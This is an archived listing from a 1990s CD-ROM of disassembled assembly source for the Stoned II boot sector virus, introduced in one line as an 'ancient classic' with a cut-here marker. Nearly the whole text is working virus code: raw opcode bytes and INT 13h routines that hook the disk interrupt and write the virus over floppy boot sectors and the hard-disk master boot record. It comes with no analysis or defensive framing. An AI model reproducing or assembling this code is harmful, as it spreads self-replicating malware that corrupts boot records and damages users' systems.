home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / STONEDII.ZIP / STONEDII.ASM / text0000.txt < prev   
Encoding:
Text File  |  1994-12-31  |  4.0 KB  |  184 lines

  1.   This is the ancient classic: Stoned II. It's a boot sector infector, so 
  2. watch out.
  3.  
  4. ---Begin-Cutting-Here-----------------------------------------------
  5.   
  6. PAGE  60,132
  7.   
  8. ;██████████████████████████████████████████████████████████████████████████
  9. ;██                                         ██
  10. ;██                    STONED2                         ██
  11. ;██                                         ██
  12. ;██      Created:   1-Jan-80                             ██
  13. ;██                                         ██
  14. ;██████████████████████████████████████████████████████████████████████████
  15.   
  16. DATA_1E        EQU    8                ; (694B:0008=0)
  17. DATA_2E        EQU    9                ; (694B:0009=0)
  18. DATA_3E        EQU    11H                ; (694B:0011=0)
  19.   
  20. CODE_SEG_A    SEGMENT
  21.         ASSUME    CS:CODE_SEG_A, DS:CODE_SEG_A
  22.   
  23.   
  24.         ORG    100h
  25.   
  26. stoned2        PROC    FAR
  27.   
  28. start:
  29.         DB    31488 DUP (0)
  30.         DB    0EAH, 5, 0, 0C0H, 7, 0E9H
  31.         DB    99H, 0, 0, 11H, 99H, 0
  32.         DB    0F0H, 0E4H, 0, 80H, 9FH, 0
  33.         DB    7CH, 0, 0, 1EH, 50H, 80H
  34.         DB    0FCH, 2, 72H, 17H, 80H, 0FCH
  35.         DB    4, 73H, 12H, 0AH, 0D2H, 75H
  36.         DB    0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
  37.         DB    3FH, 4, 0A8H, 1, 75H, 3
  38.         DB    0E8H, 7, 0, 58H, 1FH, 2EH
  39.         DB    0FFH, 2EH, 9, 0, 53H, 51H
  40.         DB    52H, 6, 56H, 57H, 0BEH, 4
  41.         DB    0
  42. LOC_1:
  43.         MOV    AX,201H
  44.         PUSH    CS
  45.         POP    ES
  46.         MOV    BX,200H
  47.         XOR    CX,CX                ; Zero register
  48.         MOV    DX,CX
  49.         INC    CX
  50.         PUSHF                    ; Push flags
  51.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  52.         JNC    LOC_2                ; Jump if carry=0
  53.         XOR    AX,AX                ; Zero register
  54.         PUSHF                    ; Push flags
  55.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  56.         DEC    SI
  57.         JNZ    LOC_1                ; Jump if not zero
  58.         JMP    SHORT LOC_4
  59.         DB    90H
  60. LOC_2:
  61.         XOR    SI,SI                ; Zero register
  62.         MOV    DI,200H
  63.         CLD                    ; Clear direction
  64.         PUSH    CS
  65.         POP    DS
  66.         LODSW                    ; String [si] to ax
  67.         CMP    AX,[DI]
  68.         JNE    LOC_3                ; Jump if not equal
  69.         LODSW                    ; String [si] to ax
  70.         CMP    AX,[DI+2]
  71.         JE    LOC_4                ; Jump if equal
  72. LOC_3:
  73.         MOV    AX,301H
  74.         MOV    BX,200H
  75.         MOV    CL,3
  76.         MOV    DH,1
  77.         PUSHF                    ; Push flags
  78.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  79.         JC    LOC_4                ; Jump if carry Set
  80.         MOV    AX,301H
  81.         XOR    BX,BX                ; Zero register
  82.         MOV    CL,1
  83.         XOR    DX,DX                ; Zero register
  84.         PUSHF                    ; Push flags
  85.         CALL    DWORD PTR CS:DATA_2E        ; (694B:0009=0)
  86. LOC_4:
  87.         POP    DI
  88.         POP    SI
  89.         POP    ES
  90.         POP    DX
  91.         POP    CX
  92.         POP    BX
  93.         RET
  94.         DB    33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
  95.         DB    0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
  96.         DB    4CH, 0, 0A3H, 9, 7CH, 0A1H
  97.         DB    4EH, 0, 0A3H, 0BH, 7CH, 0A1H
  98.         DB    13H, 4, 48H, 48H, 0A3H, 13H
  99.         DB    4, 0B1H, 6, 0D3H, 0E0H, 8EH
  100.         DB    0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
  101.         DB    0, 0A3H, 4CH, 0, 8CH, 6
  102.         DB    4EH, 0, 0B9H, 0B8H, 1, 0EH
  103.         DB    1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
  104.         DB    0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
  105.         DB    0, 0B8H, 0, 0, 0CDH, 13H
  106.         DB    33H, 0C0H, 8EH, 0C0H, 0B8H, 1
  107.         DB    2, 0BBH, 0, 7CH, 2EH, 80H
  108.         DB    3EH, 8, 0, 0, 74H, 0BH
  109.         DB    0B9H, 7, 0, 0BAH, 80H, 0
  110.         DB    0CDH, 13H, 0EBH, 49H, 90H, 0B9H
  111.         DB    3, 0, 0BAH, 0, 1, 0CDH
  112.         DB    13H, 72H, 3EH, 26H, 0F6H, 6
  113.         DB    6CH, 4, 7, 75H, 12H, 0BEH
  114.         DB    89H, 1, 0EH, 1FH
  115. LOC_5:
  116.         LODSB                    ; String [si] to al
  117.         OR    AL,AL                ; Zero ?
  118.         JZ    LOC_6                ; Jump if zero
  119.         MOV    AH,0EH
  120.         MOV    BH,0
  121.         INT    10H                ; Video display   ah=functn 0Eh
  122.                             ;  write char al, teletype mode
  123.         JMP    SHORT LOC_5
  124. LOC_6:
  125.         PUSH    CS
  126.         POP    ES
  127.         MOV    AX,201H
  128.         MOV    BX,200H
  129.         MOV    CL,1
  130.         MOV    DX,80H
  131.         INT    13H                ; Disk  dl=drive a: ah=func 02h
  132.                             ;  read sectors to memory es:bx
  133.         JC    LOC_7                ; Jump if carry Set
  134.         PUSH    CS
  135.         POP    DS
  136.         MOV    SI,200H
  137.         MOV    DI,0
  138.         LODSW                    ; String [si] to ax
  139.         CMP    AX,[DI]
  140.         JNE    LOC_8                ; Jump if not equal
  141.         LODSW                    ; String [si] to ax
  142.         CMP    AX,[DI+2]
  143.         JNE    LOC_8                ; Jump if not equal
  144. LOC_7:
  145.         MOV    BYTE PTR CS:DATA_1E,0        ; (694B:0008=0)
  146.         JMP    DWORD PTR CS:DATA_3E        ; (694B:0011=0)
  147. LOC_8:
  148.         MOV    BYTE PTR CS:DATA_1E,2        ; (694B:0008=0)
  149.         MOV    AX,301H
  150.         MOV    BX,200H
  151.         MOV    CX,7
  152.         MOV    DX,80H
  153.         INT    13H                ; Disk  dl=drive a: ah=func 03h
  154.                             ;  write sectors from mem es:bx
  155.         JC    LOC_7                ; Jump if carry Set
  156.         PUSH    CS
  157.         POP    DS
  158.         PUSH    CS
  159.         POP    ES
  160.         MOV    SI,3BEH
  161.         MOV    DI,1BEH
  162.         MOV    CX,242H
  163.         REP    MOVSB                ; Rep while cx>0 Mov [si] to es:[di]
  164.         MOV    AX,301H
  165.         XOR    BX,BX                ; Zero register
  166.         INC    CL
  167.         INT    13H                ; Disk  dl=drive a: ah=func 03h
  168.                             ;  write sectors from mem es:bx
  169.         JMP    SHORT LOC_7
  170.         DB    7
  171.         DB    35 DUP (0)
  172.         DB    67H, 2, 6, 67H, 2, 67H
  173.         DB    2, 0BH, 3, 67H, 2
  174.   
  175. stoned2        ENDP
  176.   
  177. CODE_SEG_A    ENDS
  178.   
  179.   
  180.   
  181.         END    START
  182.  
  183.  
  184.